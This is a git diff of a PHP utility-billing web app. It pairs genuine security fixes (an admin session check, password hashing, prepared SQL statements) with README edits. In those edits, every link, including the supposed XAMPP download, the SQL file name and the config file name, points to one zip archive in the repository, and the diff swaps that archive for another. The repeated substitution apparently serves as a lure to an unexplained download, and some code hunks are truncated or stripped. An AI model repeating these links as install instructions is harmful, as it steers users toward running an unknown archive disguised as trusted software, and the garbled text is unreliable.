diff --git a/README.md b/README.md index 6f773ff..7159b9a 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # 🌐 Public-Utility-Management-System - Simplifying Utility Management For Everyone -[![Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip)](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip) +[![Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip)](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip) ## 📋 Introduction @@ -12,12 +12,12 @@ To get started with the Public Utility Management System, follow these simple st 1. **Prepare Your System** Make sure your computer has the following software installed: - - **XAMPP**: This software helps you run a local server to host the application. You can download it [here](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip). + - **XAMPP**: This software helps you run a local server to host the application. You can download it [here](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip). - **Web Browser**: A modern web browser like Chrome, Firefox, or Edge. 2. **Download the Application** Visit this page to download the latest version of the Public Utility Management System: - [Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip) + [Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip) There you will find different versions. Click to download the latest version suitable for your system. 3. **Extract the Files** @@ -38,13 +38,13 @@ To get started with the Public Utility Management System, follow these simple st - Click **Create**. 7. **Import the Database Structure** - Inside the Public Utility Management System folder, locate the SQL file (usually named `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip`). + Inside the Public Utility Management System folder, locate the SQL file (usually named `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip`). - Click on the newly created database in phpMyAdmin. - Click on the **Import** tab. - Choose the SQL file and click **Go** to import the structure. 8. **Configure the Application** - Open the `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip` file in the Public Utility Management System folder. You will need to set the database credentials. Update the following fields: + Open the `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip` file in the Public Utility Management System folder. You will need to set the database credentials. Update the following fields: ```php $dbHost = "localhost"; $dbUser = "root"; // Change if you have a different username @@ -80,7 +80,7 @@ The Public Utility Management System includes several features to help you manag If you encounter issues: - Ensure the XAMPP services are running. - Check that the database is correctly set up in phpMyAdmin. -- Ensure your credentials in `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip` are accurate. +- Ensure your credentials in `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip` are accurate. ## 📞 Support @@ -89,7 +89,7 @@ For support, you can check the Issues section of this repository. If you have qu ## 📥 Download & Install To download and install the application, visit this page: -[Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip) +[Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip) Follow the steps outlined in the "Getting Started" section to set up the application on your local machine. diff --git a/admin/dashboard_admin.php b/admin/dashboard_admin.php index 1a139ab..476c836 100644 --- a/admin/dashboard_admin.php +++ b/admin/dashboard_admin.php @@ -3,6 +3,11 @@ include('../includes/db_connect.php'); require_once('activity_log.php'); +if (!isset($_SESSION['role']) || $_SESSION['role'] != 'admin') { + header("Location: ../index.php"); + exit; +} + // ===== Admin Details ===== $admin_name = $_SESSION['admin_name'] ?? 'Admin'; $admin_id = $_SESSION['admin_id'] ?? 1; diff --git a/admin/manage_customers.php b/admin/manage_customers.php index 68e10f6..b9858be 100644 --- a/admin/manage_customers.php +++ b/admin/manage_customers.php @@ -85,6 +85,7 @@ function get_pagination_params($default_limit = 50) $phone = sanitize_input($_POST['phone']); $email = sanitize_input($_POST['email']); $password = sanitize_input($_POST['password']); + $hashed_password = hash_password($password); $house_stmt = $conn->prepare("INSERT INTO house (House_Number, Owner_Name, Address) VALUES (?, ?, ?)"); $house_stmt->bind_param("sss", $house_num, $owner, $address); @@ -92,7 +93,7 @@ function get_pagination_params($default_limit = 50) if ($house_stmt->execute()) { $house_id = $house_stmt->insert_id; $cust_stmt = $conn->prepare("INSERT INTO customer (Name, Phone, Email, Password, House_ID) VALUES (?, ?, ?, ?, ?)"); - $cust_stmt->bind_param("ssssi", $name, $phone, $email, $password, $house_id); + $cust_stmt->bind_param("ssssi", $name, $phone, $email, $hashed_password, $house_id); if ($cust_stmt->execute()) { $toast = "Customer and House added successfully!"; @@ -350,7 +351,7 @@ function get_pagination_params($default_limit = 50) #
@@ -343,12 +349,12 @@ function closeAddModal() { document.body.style.overflow = 'auto'; } - function openEditModal(id, name, role, phone, password) { + function openEditModal(id, name, role, phone) { document.getElementById('edit_employee_id').value = id; document.getElementById('edit_name').value = name; document.getElementById('edit_role').value = role; document.getElementById('edit_phone').value = phone; - document.getElementById('edit_password').value = password; + document.getElementById('edit_password').value = '********'; document.getElementById('editModal').style.display = 'block'; document.body.style.overflow = 'hidden'; } diff --git a/admin/report_data.php b/admin/report_data.php index c1947f4..ca3ae66 100644 --- a/admin/report_data.php +++ b/admin/report_data.php @@ -1,10 +1,23 @@ 'Unauthorized']); + exit; +} + +$year = isset($_GET['year']) ? (int)$_GET['year'] : (int)date('Y'); $data = []; -$result = $conn->query("SELECT MONTH(Date_of_Payment) AS m, SUM(Amount_Paid) AS total - FROM payment WHERE YEAR(Date_of_Payment)=$year GROUP BY m"); +$stmt = $conn->prepare("SELECT MONTH(Date_of_Payment) AS m, SUM(Amount_Paid) AS total + FROM payment WHERE YEAR(Date_of_Payment)=? GROUP BY m"); +$stmt->bind_param("i", $year); +$stmt->execute(); +$result = $stmt->get_result(); while ($r = $result->fetch_assoc()) { $data[$r['m']] = $r['total']; } +$stmt->close(); echo json_encode($data); diff --git a/admin/view_bills.php b/admin/view_bills.php index d154f6d..ff1f440 100644 --- a/admin/view_bills.php +++ b/admin/view_bills.php @@ -272,7 +272,7 @@
- +
diff --git a/employee/employee_reports.php b/employee/employee_reports.php index a68095c..dd7ac98 100644 --- a/employee/employee_reports.php +++ b/employee/employee_reports.php @@ -18,12 +18,18 @@ // Get filtered data if requested $filtered_total = null; +$filtered_from = ''; +$filtered_to = ''; if (isset($_GET['from']) && isset($_GET['to'])) { - $from = $_GET['from']; - $to = $_GET['to']; - $filtered = $conn->query("SELECT SUM(Amount_Paid) AS total FROM payment WHERE Date_of_Payment BETWEEN '$from' AND '$to'"); - $row = $filtered->fetch_assoc(); + $filtered_from = $_GET['from']; + $filtered_to = $_GET['to']; + $filtered_stmt = $conn->prepare("SELECT SUM(Amount_Paid) AS total FROM payment WHERE Date_of_Payment BETWEEN ? AND ?"); + $filtered_stmt->bind_param("ss", $filtered_from, $filtered_to); + $filtered_stmt->execute(); + $filtered_result = $filtered_stmt->get_result(); + $row = $filtered_result->fetch_assoc(); $filtered_total = $row['total'] ?? 0; + $filtered_stmt->close(); } // Handle CSV export @@ -85,11 +91,11 @@
- +
- +